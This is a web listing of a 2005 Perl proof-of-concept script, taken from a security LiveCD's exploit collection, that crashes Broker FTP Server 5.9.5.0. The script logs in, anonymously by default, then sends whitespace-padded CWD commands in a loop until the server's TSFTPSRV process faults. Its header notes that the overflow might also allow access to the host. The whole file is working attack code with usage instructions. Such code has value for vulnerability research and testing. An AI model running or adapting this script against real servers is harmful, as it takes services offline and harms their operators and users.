home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / brokerftp / brokerdos.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  49 lines

  1. #!/usr/bin/perl 
  2.  
  3. # Broker FTP Server 5.9.5.0 DoS proof of concept
  4. #
  5. # Syntax : perl brokerdos.pl <host> <port> <loginid> <loginpwd>
  6. # Impact : eventually causes an access violation in the TSFTPSRV process
  7. #          the buffer overflow might be exploitable and be used to gain access
  8. #          to the FTP Server hostcomputer.
  9. #
  10. # by [ByteRage] <byterage@yahoo.com>
  11. # www.byterage.cjb.net (http://elf.box.sk/byterage/)
  12.  
  13. use IO::Socket;
  14.  
  15. $loginid = "anonymous";
  16. $loginpwd = "anonymous";
  17.  
  18. if (!($host = $ARGV[0])) { $host = "127.0.0.1"; } print "Logging on @ $host:"; 
  19. if (!($port = $ARGV[1])) { $port = "21"; } print "$port\n\n"; 
  20. if (!($loginid = $ARGV[2])) { $loginid = "anonymous"; } 
  21. if (!($loginpwd = $ARGV[3])) { $loginpwd = "anonymous"; } 
  22.  
  23. $SOCK = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Couldn't create socket !"; $SOCK->autoflush();
  24.  
  25. # get daemon banner
  26. $reply = "";
  27. sysread($SOCK, $reply, 2000);
  28. print $reply;
  29. # login
  30. syswrite $SOCK, "USER $loginid\015\012";
  31. sysread($SOCK, $reply, 2000);
  32. print $reply;
  33. syswrite $SOCK, "PASS $loginpwd\015\012";
  34. sysread($SOCK, $reply, 2000);
  35. print $reply;
  36. sysread($SOCK, $reply, 2000);
  37. print "$reply\nSending crash [";
  38.  
  39. if (substr($reply,0,1) == '2') {
  40.   # Login succesful, send CWD's
  41.   $i = 1; while ($i) {
  42.     $i = syswrite $SOCK, "CWD .                                                                             .\015\012";
  43.     print ".";
  44.     sleep(1);
  45.   }
  46. print "]\nSocket write failed... possible cause : Host down :(\n";
  47. }
  48. close($SOCK);
  49. exit();